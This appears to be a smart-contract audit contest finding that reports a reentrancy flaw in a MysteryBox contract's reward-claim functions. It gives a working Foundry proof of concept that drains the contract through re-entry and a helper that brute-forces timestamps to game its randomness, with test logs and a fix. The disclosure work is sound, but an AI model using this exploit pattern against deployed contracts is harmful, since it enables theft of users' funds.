Submission Details
Severity:
Reentrancy vulnerability in `claimAllRewards` and `claimSingleReward` function poses risk of protocol fund loss
Summary
Reentrancy attack could be performed via claimAllRewards and claimSingleReward function enables attacker to exploit with just a single buyBox transaction respectively to drain most of the protocol funds.
Vulnerability Details
In claimAllRewards and claimSingleReward functions, reward state was found being updated only after an external call involving fund transfer to caller account. This function does not follow the Check-Effect-Interaction (CEI) security practice, resulting the possiblity of a reentrancy attack that drains the protocol funds.
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
<@@>! (bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
<@@>! delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
<@@>! (bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
<@@>! delete rewardsOwned[msg.sender][_index];
}
Proof of Concept:
Setup an attack contract
ReentrancyAttackand supporting contractRandomValueFinderas below
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {MysteryBox} from "../src/MysteryBox.sol";
import {RandomValueFinder} from "../src/RandomValueFinder.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
contract ReentrancyAttack is Test {
MysteryBox mysteryBox;
uint256 maxEndAmount;
uint256 public aftAttackBalance;
bool isSingleClaim;
constructor(MysteryBox _box, bool _isSingleClaim) payable {
mysteryBox = _box;
isSingleClaim = _isSingleClaim;
}
function attack() public {
// initiate a minimum buyBox transaction
mysteryBox.buyBox{value: 0.1 ether}();
// manipulate the block.timestamp to maximize the chance to get highest tier of `Gold Coin` reward
RandomValueFinder randomValueFinder = new RandomValueFinder(address(this));
uint256 attackTimestamp = randomValueFinder.findTimestampForRandomValue99();
vm.warp(attackTimestamp); // to simulate/fastforward to the right attack timestamp
// make correction on another error found in `openBox`
// corrected gold coin value : `rewardsOwned[msg.sender].push(Reward("Gold Coin", 0.5 ether));`
mysteryBox.openBox();
MysteryBox.Reward[] memory rewards = mysteryBox.getRewards();
maxEndAmount = rewards[0].value; // get the stop attack amount to avoid exploitation action failed/reverted
// core attack happens in this function that doesn't follow CEI security practice
if (isSingleClaim) {
mysteryBox.claimSingleReward(0);
} else {
mysteryBox.claimAllRewards();
}
}
function stealFund() public {
if (address(mysteryBox).balance > maxEndAmount) {
if (isSingleClaim) {
mysteryBox.claimSingleReward(0);
} else {
mysteryBox.claimAllRewards();
}
}
// variable used for assertion test purpose
aftAttackBalance = address(mysteryBox).balance;
}
receive() external payable {
stealFund();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract RandomValueFinder {
address private attacker;
constructor(address _attacker) {
attacker = _attacker;
}
function _calculateRandomValue(uint256 timestamp) internal view returns (uint256) {
return uint256(keccak256(abi.encodePacked(timestamp, attacker))) % 100;
}
function findTimestampForRandomValue99() public view returns (uint256) {
require(msg.sender == attacker, "Restricted attack call");
// Check a range of timestamps
for (uint256 i = block.timestamp; i < block.timestamp + 3600; i++) {
if (_calculateRandomValue(i) == 99) {
return i; // Found a suitable timestamp
}
}
revert("No suitable timestamp found");
}
}
2.In test\TestMysteryBox.t.sol, modify setUp and add new test test_audit_reentrancyAttackAtClaimAllRewards and test_audit_reentrancyAttackAtClaimSingleReward
function setUp() public {
owner = makeAddr("owner");
user1 = address(0x1);
user2 = address(0x2);
// add this since MysteryBox needs fund of minimum 0.1 ether upon deployment
vm.deal(owner, 20 ether); // modified to simulate reentrancyAttack
vm.startPrank(owner);
mysteryBox = new MysteryBox{value: 10 ether}(); // modified to simulate reentrancyAttack
vm.stopPrank();
}
function test_audit_reentrancyAttackAtClaimAllRewards() public {
console.log("mysteryBox balance before attack on claimAllRewards: ", address(mysteryBox).balance);
ReentrancyAttack reentrancyContractAllClaims = new ReentrancyAttack{value: 0.1 ether}(mysteryBox, false);
vm.startPrank(address(reentrancyContractAllClaims));
reentrancyContractAllClaims.attack();
uint256 aftAttackBalance = reentrancyContractAllClaims.aftAttackBalance();
assertEq(address(mysteryBox).balance, aftAttackBalance);
console.log("mysteryBox balance after attack on claimAllRewards: ", address(mysteryBox).balance);
}
function test_audit_reentrancyAttackAtClaimSingleReward() public {
console.log("mysteryBox balance before attack on claimSingleReward: ", address(mysteryBox).balance);
ReentrancyAttack reentrancyContractSingleClaim = new ReentrancyAttack{value: 0.1 ether}(mysteryBox, true);
vm.startPrank(address(reentrancyContractSingleClaim));
reentrancyContractSingleClaim.attack();
uint256 aftAttackBalance = reentrancyContractSingleClaim.aftAttackBalance();
assertEq(address(mysteryBox).balance, aftAttackBalance);
console.log("mysteryBox balance after attack on claimSingleReward: ", address(mysteryBox).balance);
}
3.Run the test for both test_audit_reentrancyAttackAtClaimAllRewards and test_audit_reentrancyAttackAtClaimSingleReward
$ forge test --match-test test_audit_reentrancyAttackAtClaimAllRewards -vv
[⠊] Compiling...
[⠒] Compiling 2 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 1.06s
Compiler run successfully
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_reentrancyAttackAtClaimAllRewards() (gas: 1801678)
Logs:
mysteryBox balance before attack on claimAllRewards: 10000000000000000000
mysteryBox balance after attack on claimAllRewards: 100000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.54ms (697.54µs CPU time)
Ran 1 test suite in 115.53ms (1.54ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
$ forge test --match-test test_audit_reentrancyAttackAtClaimSingleReward -vv
[⠊] Compiling...
[⠒] Compiling 2 files with Solc 0.8.26
[⠢] Solc 0.8.26 finished in 1.08s
Compiler run successfully
Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] test_audit_reentrancyAttackAtClaimSingleReward() (gas: 1887519)
Logs:
mysteryBox balance before attack on claimSingleReward: 10000000000000000000
mysteryBox balance after attack on claimSingleReward: 100000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.14ms (648.92µs CPU time)
Ran 1 test suite in 112.38ms (1.14ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
The tests passed with balance of mysteryBox being drained from initial of 10 ether to just 0.1 ether left, an attack with just a single low transaction of 0.1 ether but successfully stole 99% of the contract fund.
Impact
Reentrancy attack leading to loss of protocol fund
Tools Used
Manual review with test
Recommendations
Follow the Check-Effect-Interaction (CEI) security practice and make the amendment as follows:
function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
function claimSingleReward(uint256 _index) public {
require(_index <= rewardsOwned[msg.sender].length, "Invalid index");
uint256 value = rewardsOwned[msg.sender][_index].value;
require(value > 0, "No reward to claim");
+ delete rewardsOwned[msg.sender][_index];
(bool success,) = payable(msg.sender).call{value: value}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender][_index];
}
Updates
Appeal created
inallhonesty about 1 year ago
Submission Judgement Published Assigned finding tags:
`claimAllRewards` reentrancy
`claimSingleReward` reentrancy
Rewards breakdown
nSLOC
86This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.